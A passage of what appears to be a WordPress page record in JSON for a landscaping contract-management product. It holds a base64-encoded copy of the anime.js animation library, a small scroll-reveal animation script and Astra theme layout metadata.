R1cm4gdy5jb2wobik\/VihuKTovXHMvZy50ZXN0KG4pP246KHQ9KHQ9QihuKSk\/bi5zdWJzdHIoMCxuLmxlbmd0aC10Lmxlbmd0aCk6bixlP3QrZTp0KX1mdW5jdGlvbiBGKG4sZSl7cmV0dXJuIE1hdGguc3FydChNYXRoLnBvdyhlLngtbi54LDIpK01hdGgucG93KGUueS1uLnksMikpfWZ1bmN0aW9uIFoobil7Zm9yKHZhciBlLHQ9bi5wb2ludHMscj0wLGE9MDthPHQubnVtYmVyT2ZJdGVtczthKyspe3ZhciBvPXQuZ2V0SXRlbShhKTswPGEmJihyKz1GKGUsbykpLGU9b31yZXR1cm4gcn1mdW5jdGlvbiBHKG4pe2lmKG4uZ2V0VG90YWxMZW5ndGgpcmV0dXJuIG4uZ2V0VG90YWxMZW5ndGgoKTtzd2l0Y2gobi50YWdOYW1lLnRvTG93ZXJDYXNlKCkpe2Nhc2UiY2lyY2xlIjpyZXR1cm4gMipNYXRoLlBJKnYobiwiciIpO2Nhc2UicmVjdCI6cmV0dXJuIDIqdih0PW4sIndpZHRoIikrMip2KHQsImhlaWdodCIpO2Nhc2UibGluZSI6cmV0dXJuIEYoe3g6dih0PW4sIngxIikseTp2KHQsInkxIil9LHt4OnYodCwieDIiKSx5OnYodCwieTIiKX0pO2Nhc2UicG9seWxpbmUiOnJldHVybiBaKG4pO2Nhc2UicG9seWdvbiI6cmV0dXJuIGU9bi5wb2ludHMsWihuKStGKGUuZ2V0SXRlbShlLm51bWJlck9mSXRlbXMtMSksZS5nZXRJdGVtKDApKX12YXIgZSx0fWZ1bmN0aW9uIFEobixlKXt2YXIgZT1lfHx7fSxuPWUuZWx8fGZ1bmN0aW9uKG4pe2Zvcih2YXIgZT1uLnBhcmVudE5vZGU7dy5zdmcoZSkmJncuc3ZnKGUucGFyZW50Tm9kZSk7KWU9ZS5wYXJlbnROb2RlO3JldHVybiBlfShuKSx0PW4uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkscj12KG4sInZpZXdCb3giKSxhPXQud2lkdGgsdD10LmhlaWdodCxlPWUudmlld0JveHx8KHI\/ci5zcGxpdCgiICIpOlswLDAsYSx0XSk7cmV0dXJue2VsOm4sdmlld0JveDplLHg6K2VbMF0seTorZVsxXSx3OmEsaDp0LHZXOmVbMl0sdkg6ZVszXX19ZnVuY3Rpb24geihuLGUpe3ZhciB0PS9bKy1dP1xkKlwuP1xkKyg\/OlwuXGQrKT8oPzpbZUVdWystXT9cZCspPy9nLHI9WSh3LnB0aChuKT9uLnRvdGFsTGVuZ3RoOm4sZSkrIiI7cmV0dXJue29yaWdpbmFsOnIsbnVtYmVyczpyLm1hdGNoKHQpP3IubWF0Y2godCkubWFwKE51bWJlcik6WzBdLHN0cmluZ3M6dy5zdHIobil8fGU\/ci5zcGxpdCh0KTpbXX19ZnVuY3Rpb24gQShuKXtyZXR1cm4gSShuP2Yody5hcnIobik\/bi5tYXAocCk6cChuKSk6W10sZnVuY3Rpb24obixlLHQpe3JldHVybiB0LmluZGV4T2Yobik9PT1lfSl9ZnVuY3Rpb24gXyhuKXt2YXIgdD1BKG4pO3JldHVybiB0Lm1hcChmdW5jdGlvbihuLGUpe3JldHVybnt0YXJnZXQ6bixpZDplLHRvdGFsOnQubGVuZ3RoLHRyYW5zZm9ybXM6e2xpc3Q6VyhuKX19fSl9ZnVuY3Rpb24gUihlKXtmb3IodmFyIHQ9SShmKGUubWFwKGZ1bmN0aW9uKG4pe3JldHVybiBPYmplY3Qua2V5cyhuKX0pKSxmdW5jdGlvbihuKXtyZXR1cm4gdy5rZXkobil9KS5yZWR1Y2UoZnVuY3Rpb24obixlKXtyZXR1cm4gbi5pbmRleE9mKGUpPDAmJm4ucHVzaChlKSxufSxbXSksYT17fSxuPTA7bjx0Lmxlbmd0aDtuKyspIWZ1bmN0aW9uKG4pe3ZhciByPXRbbl07YVtyXT1lLm1hcChmdW5jdGlvbihuKXt2YXIgZSx0PXt9O2ZvcihlIGluIG4pdy5rZXkoZSk\/ZT09ciYmKHQudmFsdWU9bltlXSk6dFtlXT1uW2VdO3JldHVybiB0fSl9KG4pO3JldHVybiBhfWZ1bmN0aW9uIEoobixlKXt2YXIgdCxyPVtdLGE9ZS5rZXlmcmFtZXM7Zm9yKHQgaW4gZT1hP0QoUihhKSxlKTplKXcua2V5KHQpJiZyLnB1c2goe25hbWU6dCx0d2VlbnM6ZnVuY3Rpb24obix0KXt2YXIgZSxyPWcodCksYT0oL15zcHJpbmcvLnRlc3Qoci5lYXNpbmcpJiYoci5kdXJhdGlvbj1jKHIuZWFzaW5nKSksdy5hcnIobikmJigyPT09KGU9bi5sZW5ndGgpJiYhdy5vYmooblswXSk\/bj17dmFsdWU6bn06dy5mbmModC5kdXJhdGlvbil8fChyLmR1cmF0aW9uPXQuZHVyYXRpb24vZSkpLHcuYXJyKG4pP246W25dKTtyZXR1cm4gYS5tYXAoZnVuY3Rpb24obixlKXtuPXcub2JqKG4pJiYhdy5wdGgobik\/bjp7dmFsdWU6bn07cmV0dXJuIHcudW5kKG4uZGVsYXkpJiYobi5kZWxheT1lPzA6dC5kZWxheSksdy51bmQobi5lbmREZWxheSkmJihuLmVuZERlbGF5PWU9PT1hLmxlbmd0aC0xP3QuZW5kRGVsYXk6MCksbn0pLm1hcChmdW5jdGlvbihuKXtyZXR1cm4gRChuLHIpfSl9KGVbdF0sbil9KTtyZXR1cm4gcn1mdW5jdGlvbiBLKGksYyl7dmFyIHM7cmV0dXJuIGkudHdlZW5zLm1hcChmdW5jdGlvbihuKXt2YXIgbj1mdW5jdGlvbihuLGUpe3ZhciB0LHI9e307Zm9yKHQgaW4gbil7dmFyIGE9bShuW3RdLGUpO3cuYXJyKGEpJiYxPT09KGE9YS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIG0obixlKX0pKS5sZW5ndGgmJihhPWFbMF0pLHJbdF09YX1yZXR1cm4gci5kdXJhdGlvbj1wYXJzZUZsb2F0KHIuZHVyYXRpb24pLHIuZGVsYXk9cGFyc2VGbG9hdChyLmRlbGF5KSxyfShuLGMpLGU9bi52YWx1ZSx0PXcuYXJyKGUpP2VbMV06ZSxyPUIodCksYT1UKGMudGFyZ2V0LGkubmFtZSxyLGMpLG89cz9zLnRvLm9yaWdpbmFsOmEsdT13LmFycihlKT9lWzBdOm8sYT1CKHUpfHxCKGEpLHI9cnx8YTtyZXR1cm4gdy51bmQodCkmJih0PW8pLG4uZnJvbT16KHUsciksbi50bz16KEUodCx1KSxyKSxuLnN0YXJ0PXM\/cy5lbmQ6MCxuLmVuZD1uLnN0YXJ0K24uZGVsYXkrbi5kdXJhdGlvbituLmVuZERlbGF5LG4uZWFzaW5nPVAobi5lYXNpbmcsbi5kdXJhdGlvbiksbi5pc1BhdGg9dy5wdGgoZSksbi5pc1BhdGhUYXJnZXRJbnNpZGVTVkc9bi5pc1BhdGgmJncuc3ZnKGMudGFyZ2V0KSxuLmlzQ29sb3I9dy5jb2wobi5mcm9tLm9yaWdpbmFsKSxuLmlzQ29sb3ImJihuLnJvdW5kPTEpLHM9bn0pfXZhciBVPXtjc3M6ZnVuY3Rpb24obixlLHQpe3JldHVybiBuLnN0eWxlW2VdPXR9LGF0dHJpYnV0ZTpmdW5jdGlvbihuLGUsdCl7cmV0dXJuIG4uc2V0QXR0cmlidXRlKGUsdCl9LG9iamVjdDpmdW5jdGlvbihuLGUsdCl7cmV0dXJuIG5bZV09dH0sdHJhbnNmb3JtOmZ1bmN0aW9uKG4sZSx0LHIsYSl7dmFyIG87ci5saXN0LnNldChlLHQpLGUhPT1yLmxhc3QmJiFhfHwobz0iIixyLmxpc3QuZm9yRWFjaChmdW5jdGlvbihuLGUpe28rPWUrIigiK24rIikgIn0pLG4uc3R5bGUudHJhbnNmb3JtPW8pfX07ZnVuY3Rpb24gbm4obix1KXtfKG4pLmZvckVhY2goZnVuY3Rpb24obil7Zm9yKHZhciBlIGluIHUpe3ZhciB0PW0odVtlXSxuKSxyPW4udGFyZ2V0LGE9Qih0KSxvPVQocixlLGEsbiksdD1FKFkodCxhfHxCKG8pKSxvKSxhPWIocixlKTtVW2FdKHIsZSx0LG4udHJhbnNmb3JtcywhMCl9fSl9ZnVuY3Rpb24gZW4obixlKXtyZXR1cm4gSShmKG4ubWFwKGZ1bmN0aW9uKG8pe3JldHVybiBlLm1hcChmdW5jdGlvbihuKXt2YXIgZSx0LHI9byxhPWIoci50YXJnZXQsbi5uYW1lKTtpZihhKXJldHVybiB0PShlPUsobixyKSlbZS5sZW5ndGgtMV0se3R5cGU6YSxwcm9wZXJ0eTpuLm5hbWUsYW5pbWF0YWJsZTpyLHR3ZWVuczplLGR1cmF0aW9uOnQuZW5kLGRlbGF5OmVbMF0uZGVsYXksZW5kRGVsYXk6dC5lbmREZWxheX19KX0pKSxmdW5jdGlvbihuKXtyZXR1cm4hdy51bmQobil9KX1mdW5jdGlvbiB0bihuLGUpe2Z1bmN0aW9uIHQobil7cmV0dXJuIG4udGltZWxpbmVPZmZzZXR8fDB9dmFyIHI9bi5sZW5ndGgsYT17fTtyZXR1cm4gYS5kdXJhdGlvbj1yP01hdGgubWF4LmFwcGx5KE1hdGgsbi5tYXAoZnVuY3Rpb24obil7cmV0dXJuIHQobikrbi5kdXJhdGlvbn0pKTplLmR1cmF0aW9uLGEuZGVsYXk9cj9NYXRoLm1pbi5hcHBseShNYXRoLG4ubWFwKGZ1bmN0aW9uKG4pe3JldHVybiB0KG4pK24uZGVsYXl9KSk6ZS5kZWxheSxhLmVuZERlbGF5PXI\/YS5kdXJhdGlvbi1NYXRoLm1heC5hcHBseShNYXRoLG4ubWFwKGZ1bmN0aW9uKG4pe3JldHVybiB0KG4pK24uZHVyYXRpb24tbi5lbmREZWxheX0pKTplLmVuZERlbGF5LGF9dmFyIHJuPTA7dmFyIE4sUz1bXSxhbj0oInVuZGVmaW5lZCIhPXR5cGVvZiBkb2N1bWVudCYmZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigidmlzaWJpbGl0eWNoYW5nZSIsZnVuY3Rpb24oKXtMLnN1c3BlbmRXaGVuRG9jdW1lbnRIaWRkZW4mJihuKCk\/Tj1jYW5jZWxBbmltYXRpb25GcmFtZShOKTooUy5mb3JFYWNoKGZ1bmN0aW9uKG4pe3JldHVybiBuLl9vbkRvY3VtZW50VmlzaWJpbGl0eSgpfSksYW4oKSkpfSksZnVuY3Rpb24oKXshKE58fG4oKSYmTC5zdXNwZW5kV2hlbkRvY3VtZW50SGlkZGVuKSYmMDxTLmxlbmd0aCYmKE49cmVxdWVzdEFuaW1hdGlvbkZyYW1lKG9uKSl9KTtmdW5jdGlvbiBvbihuKXtmb3IodmFyIGU9Uy5sZW5ndGgsdD0wO3Q8ZTspe3ZhciByPVNbdF07ci5wYXVzZWQ\/KFMuc3BsaWNlKHQsMSksZS0tKTooci50aWNrKG4pLHQrKyl9Tj0wPHQ\/cmVxdWVzdEFuaW1hdGlvbkZyYW1lKG9uKTp2b2lkIDB9ZnVuY3Rpb24gbigpe3JldHVybiBkb2N1bWVudCYmZG9jdW1lbnQuaGlkZGVufWZ1bmN0aW9uIEwobil7dmFyIGMscz0wLGY9MCxsPTAsZD0wLHA9bnVsbDtmdW5jdGlvbiBoKG4pe3ZhciBlPXdpbmRvdy5Qcm9taXNlJiZuZXcgUHJvbWlzZShmdW5jdGlvbihuKXtyZXR1cm4gcD1ufSk7cmV0dXJuIG4uZmluaXNoZWQ9ZX1lPXgoaSxuPW49dm9pZCAwPT09bj97fTpuKSx0PUoocj14KE0sbiksbiksbj1fKG4udGFyZ2V0cykscj10bih0PWVuKG4sdCksciksYT1ybixybisrO3ZhciBlLHQscixhLGs9RChlLHtpZDphLGNoaWxkcmVuOltdLGFuaW1hdGFibGVzOm4sYW5pbWF0aW9uczp0LGR1cmF0aW9uOnIuZHVyYXRpb24sZGVsYXk6ci5kZWxheSxlbmREZWxheTpyLmVuZERlbGF5fSk7aChrKTtmdW5jdGlvbiBnKCl7dmFyIG49ay5kaXJlY3Rpb247ImFsdGVybmF0ZSIhPT1uJiYoay5kaXJlY3Rpb249Im5vcm1hbCIhPT1uPyJub3JtYWwiOiJyZXZlcnNlIiksay5yZXZlcnNlZD0hay5yZXZlcnNlZCxjLmZvckVhY2goZnVuY3Rpb24obil7cmV0dXJuIG4ucmV2ZXJzZWQ9ay5yZXZlcnNlZH0pfWZ1bmN0aW9uIG0obil7cmV0dXJuIGsucmV2ZXJzZWQ\/ay5kdXJhdGlvbi1uOm59ZnVuY3Rpb24gbygpe3M9MCxmPW0oay5jdXJyZW50VGltZSkqKDEvTC5zcGVlZCl9ZnVuY3Rpb24gdihuLGUpe2UmJmUuc2VlayhuLWUudGltZWxpbmVPZmZzZXQpfWZ1bmN0aW9uIHkoZSl7Zm9yKHZhciBuPTAsdD1rLmFuaW1hdGlvbnMscj10Lmxlbmd0aDtuPHI7KXtmb3IodmFyIGE9dFtuXSxvPWEuYW5pbWF0YWJsZSx1PWEudHdlZW5zLGk9dS5sZW5ndGgtMSxjPXVbaV0saT0oaSYmKGM9SSh1LGZ1bmN0aW9uKG4pe3JldHVybiBlPG4uZW5kfSlbMF18fGMpLEMoZS1jLnN0YXJ0LWMuZGVsYXksMCxjLmR1cmF0aW9uKS9jLmR1cmF0aW9uKSxzPWlzTmFOKGkpPzE6Yy5lYXNpbmcoaSksZj1jLnRvLnN0cmluZ3MsbD1jLnJvdW5kLGQ9W10scD1jLnRvLm51bWJlcnMubGVuZ3RoLGg9dm9pZCAwLGc9MDtnPHA7ZysrKXt2YXIgbT12b2lkIDAsdj1jLnRvLm51bWJlcnNbZ10seT1jLmZyb20ubnVtYmVyc1tnXXx8MCxtPWMuaXNQYXRoP2Z1bmN0aW9uKGUsdCxuKXtmdW5jdGlvbiByKG4pe3JldHVybiBlLmVsLmdldFBvaW50QXRMZW5ndGgoMTw9dCsobj12b2lkIDA9PT1uPzA6bik\/dCtuOjApfXZhciBhPVEoZS5lbCxlLnN2Zyksbz1yKCksdT1yKC0xKSxpPXIoMSksYz1uPzE6YS53L2Eudlcscz1uPzE6YS5oL2Eudkg7c3dpdGNoKGUucHJvcGVydHkpe2Nhc2UieCI6cmV0dXJuKG8ueC1hLngpKmM7Y2FzZSJ5IjpyZXR1cm4oby55LWEueSkqcztjYXNlImFuZ2xlIjpyZXR1cm4gMTgwKk1hdGguYXRhbjIoaS55LXUueSxpLngtdS54KS9NYXRoLlBJfX0oYy52YWx1ZSxzKnYsYy5pc1BhdGhUYXJnZXRJbnNpZGVTVkcpOnkrcyoodi15KTshbHx8Yy5pc0NvbG9yJiYyPGd8fChtPU1hdGgucm91bmQobSpsKS9sKSxkLnB1c2gobSl9dmFyIGI9Zi5sZW5ndGg7aWYoYilmb3IodmFyIGg9ZlswXSxNPTA7TTxiO00rKyl7ZltNXTt2YXIgeD1mW00rMV0sdz1kW01dO2lzTmFOKHcpfHwoaCs9eD93K3g6dysiICIpfWVsc2UgaD1kWzBdO1VbYS50eXBlXShvLnRhcmdldCxhLnByb3BlcnR5LGgsby50cmFuc2Zvcm1zKSxhLmN1cnJlbnRWYWx1ZT1oLG4rK319ZnVuY3Rpb24gYihuKXtrW25dJiYhay5wYXNzVGhyb3VnaCYma1tuXShrKX1mdW5jdGlvbiB1KG4pe3ZhciBlPWsuZHVyYXRpb24sdD1rLmRlbGF5LHI9ZS1rLmVuZERlbGF5LGE9bShuKTtpZihrLnByb2dyZXNzPUMoYS9lKjEwMCwwLDEwMCksay5yZXZlcnNlUGxheWJhY2s9YTxrLmN1cnJlbnRUaW1lLGMpe3ZhciBvPWE7aWYoay5yZXZlcnNlUGxheWJhY2spZm9yKHZhciB1PWQ7dS0tOyl2KG8sY1t1XSk7ZWxzZSBmb3IodmFyIGk9MDtpPGQ7aSsrKXYobyxjW2ldKX0hay5iZWdhbiYmMDxrLmN1cnJlbnRUaW1lJiYoay5iZWdhbj0hMCxiKCJiZWdpbiIpKSwhay5sb29wQmVnYW4mJjA8ay5jdXJyZW50VGltZSYmKGsubG9vcEJlZ2FuPSEwLGIoImxvb3BCZWdpbiIpKSxhPD10JiYwIT09ay5jdXJyZW50VGltZSYmeSgwKSwocjw9YSYmay5jdXJyZW50VGltZSE9PWV8fCFlKSYmeShlKSx0PGEmJmE8cj8oay5jaGFuZ2VCZWdhbnx8KGsuY2hhbmdlQmVnYW49ITAsay5jaGFuZ2VDb21wbGV0ZWQ9ITEsYigiY2hhbmdlQmVnaW4iKSksYigiY2hhbmdlIikseShhKSk6ay5jaGFuZ2VCZWdhbiYmKGsuY2hhbmdlQ29tcGxldGVkPSEwLGsuY2hhbmdlQmVnYW49ITEsYigiY2hhbmdlQ29tcGxldGUiKSksay5jdXJyZW50VGltZT1DKGEsMCxlKSxrLmJlZ2FuJiZiKCJ1cGRhdGUiKSxlPD1uJiYoZj0wLGsucmVtYWluaW5nJiYhMCE9PWsucmVtYWluaW5nJiZrLnJlbWFpbmluZy0tLGsucmVtYWluaW5nPyhzPWwsYigibG9vcENvbXBsZXRlIiksay5sb29wQmVnYW49ITEsImFsdGVybmF0ZSI9PT1rLmRpcmVjdGlvbiYmZygpKTooay5wYXVzZWQ9ITAsay5jb21wbGV0ZWR8fChrLmNvbXBsZXRlZD0hMCxiKCJsb29wQ29tcGxldGUiKSxiKCJjb21wbGV0ZSIpLCFrLnBhc3NUaHJvdWdoJiYiUHJvbWlzZSJpbiB3aW5kb3cmJihwKCksaChrKSkpKSl9cmV0dXJuIGsucmVzZXQ9ZnVuY3Rpb24oKXt2YXIgbj1rLmRpcmVjdGlvbjtrLnBhc3NUaHJvdWdoPSExLGsuY3VycmVudFRpbWU9MCxrLnByb2dyZXNzPTAsay5wYXVzZWQ9ITAsay5iZWdhbj0hMSxrLmxvb3BCZWdhbj0hMSxrLmNoYW5nZUJlZ2FuPSExLGsuY29tcGxldGVkPSExLGsuY2hhbmdlQ29tcGxldGVkPSExLGsucmV2ZXJzZVBsYXliYWNrPSExLGsucmV2ZXJzZWQ9InJldmVyc2UiPT09bixrLnJlbWFpbmluZz1rLmxvb3AsYz1rLmNoaWxkcmVuO2Zvcih2YXIgZT1kPWMubGVuZ3RoO2UtLTspay5jaGlsZHJlbltlXS5yZXNldCgpOyhrLnJldmVyc2VkJiYhMCE9PWsubG9vcHx8ImFsdGVybmF0ZSI9PT1uJiYxPT09ay5sb29wKSYmay5yZW1haW5pbmcrKyx5KGsucmV2ZXJzZWQ\/ay5kdXJhdGlvbjowKX0say5fb25Eb2N1bWVudFZpc2liaWxpdHk9byxrLnNldD1mdW5jdGlvbihuLGUpe3JldHVybiBubihuLGUpLGt9LGsudGljaz1mdW5jdGlvbihuKXt1KCgobD1uKSsoZi0ocz1zfHxsKSkpKkwuc3BlZWQpfSxrLnNlZWs9ZnVuY3Rpb24obil7dShtKG4pKX0say5wYXVzZT1mdW5jdGlvbigpe2sucGF1c2VkPSEwLG8oKX0say5wbGF5PWZ1bmN0aW9uKCl7ay5wYXVzZWQmJihrLmNvbXBsZXRlZCYmay5yZXNldCgpLGsucGF1c2VkPSExLFMucHVzaChrKSxvKCksYW4oKSl9LGsucmV2ZXJzZT1mdW5jdGlvbigpe2coKSxrLmNvbXBsZXRlZD0hay5yZXZlcnNlZCxvKCl9LGsucmVzdGFydD1mdW5jdGlvbigpe2sucmVzZXQoKSxrLnBsYXkoKX0say5yZW1vdmU9ZnVuY3Rpb24obil7Y24oQShuKSxrKX0say5yZXNldCgpLGsuYXV0b3BsYXkmJmsucGxheSgpLGt9ZnVuY3Rpb24gdW4obixlKXtmb3IodmFyIHQ9ZS5sZW5ndGg7dC0tOyloKG4sZVt0XS5hbmltYXRhYmxlLnRhcmdldCkmJmUuc3BsaWNlKHQsMSl9ZnVuY3Rpb24gY24obixlKXt2YXIgdD1lLmFuaW1hdGlvbnMscj1lLmNoaWxkcmVuO3VuKG4sdCk7Zm9yKHZhciBhPXIubGVuZ3RoO2EtLTspe3ZhciBvPXJbYV0sdT1vLmFuaW1hdGlvbnM7dW4obix1KSx1Lmxlbmd0aHx8by5jaGlsZHJlbi5sZW5ndGh8fHIuc3BsaWNlKGEsMSl9dC5sZW5ndGh8fHIubGVuZ3RofHxlLnBhdXNlKCl9cmV0dXJuIEwudmVyc2lvbj0iMy4yLjEiLEwuc3BlZWQ9MSxMLnN1c3BlbmRXaGVuRG9jdW1lbnRIaWRkZW49ITAsTC5ydW5uaW5nPVMsTC5yZW1vdmU9ZnVuY3Rpb24obil7Zm9yKHZhciBlPUEobiksdD1TLmxlbmd0aDt0LS07KWNuKGUsU1t0XSl9LEwuZ2V0PVQsTC5zZXQ9bm4sTC5jb252ZXJ0UHg9eSxMLnBhdGg9ZnVuY3Rpb24obixlKXt2YXIgdD13LnN0cihuKT9hKG4pWzBdOm4scj1lfHwxMDA7cmV0dXJuIGZ1bmN0aW9uKG4pe3JldHVybntwcm9wZXJ0eTpuLGVsOnQsc3ZnOlEodCksdG90YWxMZW5ndGg6Ryh0KSooci8xMDApfX19LEwuc2V0RGFzaG9mZnNldD1mdW5jdGlvbihuKXt2YXIgZT1HKG4pO3JldHVybiBuLnNldEF0dHJpYnV0ZSgic3Ryb2tlLWRhc2hhcnJheSIsZSksZX0sTC5zdGFnZ2VyPWZ1bmN0aW9uKG4sZSl7dmFyIGk9KGU9dm9pZCAwPT09ZT97fTplKS5kaXJlY3Rpb258fCJub3JtYWwiLGM9ZS5lYXNpbmc\/UChlLmVhc2luZyk6bnVsbCxzPWUuZ3JpZCxmPWUuYXhpcyxsPWUuZnJvbXx8MCxkPSJmaXJzdCI9PT1sLHA9ImNlbnRlciI9PT1sLGg9Imxhc3QiPT09bCxnPXcuYXJyKG4pLG09Zz9wYXJzZUZsb2F0KG5bMF0pOnBhcnNlRmxvYXQobiksdj1nP3BhcnNlRmxvYXQoblsxXSk6MCx5PUIoZz9uWzFdOm4pfHwwLGI9ZS5zdGFydHx8MCsoZz9tOjApLE09W10seD0wO3JldHVybiBmdW5jdGlvbihuLGUsdCl7aWYoZCYmKGw9MCkscCYmKGw9KHQtMSkvMiksaCYmKGw9dC0xKSwhTS5sZW5ndGgpe2Zvcih2YXIgcixhLG8sdT0wO3U8dDt1Kyspcz8ocj1wPyhzWzBdLTEpLzI6bCVzWzBdLGE9cD8oc1sxXS0xKS8yOk1hdGguZmxvb3IobC9zWzBdKSxyPXItdSVzWzBdLGE9YS1NYXRoLmZsb29yKHUvc1swXSksbz1NYXRoLnNxcnQocipyK2EqYSksIngiPT09ZiYmKG89LXIpLE0ucHVzaChvPSJ5Ij09PWY\/LWE6bykpOk0ucHVzaChNYXRoLmFicyhsLXUpKSx4PU1hdGgubWF4LmFwcGx5KE1hdGgsTSk7YyYmKE09TS5tYXAoZnVuY3Rpb24obil7cmV0dXJuIGMobi94KSp4fSkpLCJyZXZlcnNlIj09PWkmJihNPU0ubWFwKGZ1bmN0aW9uKG4pe3JldHVybiBmP248MD8tMSpuOi1uOk1hdGguYWJzKHgtbil9KSl9cmV0dXJuIGIrKGc\/KHYtbSkveDptKSooTWF0aC5yb3VuZCgxMDAqTVtlXSkvMTAwKSt5fX0sTC50aW1lbGluZT1mdW5jdGlvbih1KXt2YXIgaT1MKHU9dm9pZCAwPT09dT97fTp1KTtyZXR1cm4gaS5kdXJhdGlvbj0wLGkuYWRkPWZ1bmN0aW9uKG4sZSl7dmFyIHQ9Uy5pbmRleE9mKGkpLHI9aS5jaGlsZHJlbjtmdW5jdGlvbiBhKG4pe24ucGFzc1Rocm91Z2g9ITB9LTE8dCYmUy5zcGxpY2UodCwxKTtmb3IodmFyIG89MDtvPHIubGVuZ3RoO28rKylhKHJbb10pO3Q9RChuLHgoTSx1KSksdC50YXJnZXRzPXQudGFyZ2V0c3x8dS50YXJnZXRzLG49aS5kdXJhdGlvbix0LmF1dG9wbGF5PSExLHQuZGlyZWN0aW9uPWkuZGlyZWN0aW9uLHQudGltZWxpbmVPZmZzZXQ9dy51bmQoZSk\/bjpFKGUsbiksYShpKSxpLnNlZWsodC50aW1lbGluZU9mZnNldCksZT1MKHQpLGEoZSksci5wdXNoKGUpLG49dG4ocix1KTtyZXR1cm4gaS5kZWxheT1uLmRlbGF5LGkuZW5kRGVsYXk9bi5lbmREZWxheSxpLmR1cmF0aW9uPW4uZHVyYXRpb24saS5zZWVrKDApLGkucmVzZXQoKSxpLmF1dG9wbGF5JiZpLnBsYXkoKSxpfSxpfSxMLmVhc2luZz1QLEwucGVubmVyPXMsTC5yYW5kb209ZnVuY3Rpb24obixlKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihlLW4rMSkpK259LEx9KTs=\"))<\/script>\n<script>\n(function(){\n  function ready(fn){ if(document.readyState===\"loading\"){ document.addEventListener(\"DOMContentLoaded\",fn); } else { fn(); } }\n  ready(function(){\n    var mq = window.matchMedia ? window.matchMedia(\"(prefers-reduced-motion: reduce)\") : null;\n    var reduce = mq ? mq.matches : false;\n    var hasAnime = (typeof anime !== \"undefined\");\n    var reveal = [].slice.call(document.querySelectorAll(\".sm-card, .sm-section-header\"));\n    function showAll(){ reveal.forEach(function(el){ el.style.opacity=\"1\"; el.style.transform=\"none\"; }); }\n    if(reduce){ showAll(); return; }\n    if(!hasAnime){ showAll(); return; }\n    reveal.forEach(function(el){ el.style.opacity=\"0\"; el.style.transform=\"translateY(26px)\"; });\n    var card = document.querySelector(\".smh-hero__mockup-card\");\n    var rows = [].slice.call(document.querySelectorAll(\".smh-hero__mockup-row\"));\n    var bars = [].slice.call(document.querySelectorAll(\".smh-hero__mockup-bar\"));\n    if(card){ card.style.opacity=\"0\"; card.style.transform=\"translateY(18px) scale(.97)\"; }\n    rows.forEach(function(r){ r.style.opacity=\"0\"; r.style.transform=\"translateY(12px)\"; });\n    bars.forEach(function(b){ b.style.transformOrigin=\"left center\"; b.style.transform=\"scaleX(0)\"; });\n    var tl = anime.timeline({ easing:\"cubicBezier(.2,.7,.2,1)\", delay:200 });\n    if(card){ tl.add({ targets:card, opacity:[0,1], translateY:[18,0], scale:[.97,1], duration:560 }); }\n    tl.add({ targets:rows, opacity:[0,1], translateY:[12,0], delay:anime.stagger(150), duration:440 }, \"-=260\");\n    tl.add({ targets:bars, scaleX:[0,1], delay:anime.stagger(170), duration:640, easing:\"cubicBezier(.4,0,.2,1)\" }, \"-=160\");\n    if(bars.length){ tl.add({ targets:bars[bars.length-1], scale:[1,1.05,1], duration:1000, easing:\"easeInOutSine\" }); }\n    if(window.IntersectionObserver){\n      var io = new IntersectionObserver(function(entries){\n        entries.forEach(function(e){ if(e.isIntersecting){ var el=e.target; anime({ targets:el, opacity:[0,1], translateY:[26,0], scale:[.985,1], duration:620, easing:\"cubicBezier(.2,.7,.2,1)\" }); io.unobserve(el); } });\n      }, { threshold:0.14, rootMargin:\"0px 0px -6% 0px\" });\n      reveal.forEach(function(el){ io.observe(el); });\n    } else { showAll(); }\n    setTimeout(showAll, 2400);\n  });\n})();\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>GRIP for landscaping Sharp calculations.Control over your green contracts. The platform that lets landscaping companies stay in control of their maintenance contracts, from the calculation to the final invoice. One place for your contract terms, your additional work and your proof of performance. Book a demo &rarr; One contract, three steps 1 Calculation 2 Financial [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":0,"parent":14160,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_acf_changed":false,"inline_featured_image":false,"site-sidebar-layout":"no-sidebar","site-content-layout":"page-builder","ast-site-content-layout":"full-width-container","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"disabled","ast-breadcrumbs-content":"","ast-featured-img":"disabled","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"set","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center 